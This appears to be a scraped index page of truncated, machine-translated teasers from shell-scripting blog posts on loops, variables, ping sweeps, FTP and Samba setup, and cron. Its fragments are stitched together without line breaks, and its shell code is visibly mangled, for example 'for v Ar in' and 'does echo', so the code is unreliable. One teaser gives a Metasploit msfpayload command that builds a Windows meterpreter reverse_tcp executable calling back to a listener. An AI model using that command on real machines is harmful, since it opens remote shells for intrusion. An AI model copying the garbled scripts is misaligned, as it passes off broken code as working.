Shell

If the leader tells you to check the company when you're off duty. Those PCs are open, one to see? NO, it's too much trouble. The following script can quickly find the surviving PC through the ICMP ping packet, it is important to note that the local

Previously wrote an article, with Shell timed purge expired files "Shell timed purge expired files", its practical is simple find commandAfter the colleague adopted, he debug the script, there are a few errors, I did the collation:1.find:paths must

Experimental requirements:1. Write a login welcome script for root user, report the number of processes in the current host, the number of logged in users, and the disk usage of the root file system.2, write three scripts: Start,stop and status,

Today summarizes several ways to handle strings in the shell script, encapsulating several basic string-handling functions. The code (STRING.INC) is as follows: #!/bin/sh# a test function # input: No function str_testfunc () {    echo  "This is a

For List formFor variable in {list}do statementdonefor var in 1 2 3 4do echo $vardonefor var in {1..4}do echo $vardonefor v Ar in {start.. End.. Step}do statementdonefor i in {1..100..2}do echo $idonefor file in $ (LS) does echo

Because there is an FTP server in the work, but each build has more trouble. Then wrote a shell script, here to share the script to everyone, if in doubt, please contact qq:403182580Default Create VSFTP User: DYCPassword: DYCFTP Data storage

Code statistics C Ode as follows: Xargs Description:Xargs reads the value of the stdin and defaults to a blank or carriage return as a delimiter, passing the split value as an argument to the command-line operation immediately

Getting Started with Shell programmingOne, variable assignment and arithmetic operationExample code:A=1echo $alet b= $a +1echo $bc =$[a+b]echo $cd =$[c*2]echo $dlet e=d*2echo $ef =$[e%5]echo $fNote the "=" number must not have spaces on either

Original topic:A text-type file in which each line holds the IP of a lander (some lines are duplicated) and writes a shell script that outputs the most logged-on users.Just saw this topic, immediately did not think of a straight line solution,

Single Branch if statementif judgment condition; thenStatement1Statement1...FiTwo-branch if statement:if judgment condition; thenStatement1....ElseStatement2....FiMulti-Branched if statement:If judging condition 1;thenStatement1.....Elif Judging

First, the grammar for inch con1 con2 con3 ... Do # Perform content done for inch {min... Max} do # perform content done for (initial value; limit value; step order)) Do # Perform content done Second, practice Input parameters for

Variable Description:$$The PID of the shell itself (ProcessID)$!PID of the Shell's last running background process$?End code of the last Run command (return value)$-Flag at a glance using the SET command$*All parameter lists. such as "$*" in the

View all the available shell types under the current system: Cat/etc/shellsSet the shell type to be used for the current system:/BIN/ZSH (Take this as an example): Chsh-s/bin/zshAfter the current shell setup is complete, you need to restart your

generate Shell.exe for listening:reverse_tcp (reverse connection)Path:payload/windows/meterpreter/reverse_tcpMsfpayload windows/meterpreter/reverse_tcp lhost=192.168.1.2 lport=8080 X > ~/desktop/shell.exeReverse_http/https (Reverse

Programming Languages:Machine languageAssemblyAdvanced Language:Static language: Compiled languageStrongly typed (variable)Convert into executable format in advancesuch as: C, C + +, JAVA, C #Dynamic language: Interpreted language, on the flyWeak

 Scripting is essential when you are doing Linux testing. Using Linux recently, I felt tired of hitting the keyboard too often, so I thought of the shell script. You can write too many commands into a script so that you can eliminate the time you

Write a script to fully install the samba service and share the directory. Input by the user,The script is automatically determined based on user input. Then write to the samba configuration file and access Samba. The unified user is root. The

Functions allow us to divide a complex function into several modules, so that the program structure is clearer and the code reuse rate is higher. Like other programming languages, shell also supports functions. Shell functions must be defined before

Shell Study Notes (2) Regular Expressions in shell and shell Regular ExpressionsThe difference between a wildcard and a regular expression is the native syntax supported by bash. A regular expression is a way to process strings. A regular expression

[Shell] The relative path cannot be found when crontab executes the task and calls the shell script. The scenario where the problem occurs is probably 1 cron calls a python script 2. In the python script, call a shell script (for log analysis) to